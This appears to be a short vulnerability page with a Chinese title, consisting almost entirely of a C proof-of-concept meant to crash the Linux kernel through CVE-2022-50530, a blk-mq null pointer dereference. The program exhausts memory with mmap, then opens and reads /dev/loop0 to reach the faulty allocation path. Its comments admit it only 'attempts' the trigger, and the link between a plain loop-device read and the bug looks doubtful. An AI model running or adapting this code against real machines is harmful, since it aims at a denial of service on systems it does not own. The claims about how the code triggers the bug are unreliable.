CVE-2022-50530 Linux内核blk-mq空指针解引用漏洞

/* * CVE-2022-50530 PoC - Trigger null pointer dereference in blk_mq_clear_rq_mapping() * This PoC attempts to trigger the vulnerability by creating memory pressure * during block device queue allocation. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> /* * The vulnerability is in blk-mq tag allocation when OOM occurs. * We try to exhaust memory to trigger the failure path in * blk_mq_alloc_map_and_rqs(), causing set->tags[hctx_idx] to remain NULL. * When blk_mq_free_rqs() is called for cleanup, it dereferences the NULL pointer. */ #define MEM_PRESSURE_SIZE (1024UL * 1024UL * 1024UL) /* 1GB */ void consume_memory(void) { void *mempool[MEM_PRESSURE_SIZE / (4096 * 1024)]; int i = 0; size_t chunk = 4096 * 1024; /* 4MB chunks */ fprintf(stderr, "[*] Consuming memory to trigger OOM condition...\n"); while (i < (int)(sizeof(mempool)/sizeof(mempool[0]))) { mempool[i] = mmap(NULL, chunk, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mempool[i] == MAP_FAILED) { fprintf(stderr, "[*] Memory exhausted after %d allocations\n", i); break; } memset(mempool[i], 0, chunk); i++; } } int trigger_block_alloc(void) { int fd; char buf[4096]; /* Try to trigger blk-mq allocation by opening block devices */ fprintf(stderr, "[*] Attempting to trigger blk-mq tag allocation...\n"); /* Open loop device to trigger queue allocation */ fd = open("/dev/loop0", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/loop0"); return -1; } /* Perform I/O operations to trigger tag allocation */ if (read(fd, buf, sizeof(buf)) < 0) { perror("[-] Read failed"); } close(fd); return 0; } int main(int argc, char *argv[]) { fprintf(stderr, "[*] CVE-2022-50530 PoC - blk-mq NULL pointer dereference\n"); /* Consume memory to create OOM condition */ consume_memory(); /* Trigger block device allocation under memory pressure */ trigger_block_alloc(); fprintf(stderr, "[*] PoC execution completed\n"); return 0; }